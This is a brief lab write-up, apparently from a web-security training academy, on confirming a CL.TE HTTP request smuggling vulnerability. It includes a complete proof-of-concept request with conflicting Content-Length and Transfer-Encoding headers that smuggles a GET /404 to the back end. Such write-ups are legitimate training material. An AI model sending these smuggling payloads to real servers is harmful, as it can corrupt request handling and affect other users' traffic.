HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Description

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding.

Reproduction and proof of concept

Using Burp Repeater, issue the following request twice:

POST / HTTP/1.1
Host: lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

The second request should receive an HTTP 404 response.

Exploitability

An attacker will need to smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response. In this case the CL.TE vulnerability must be exploited via differential response.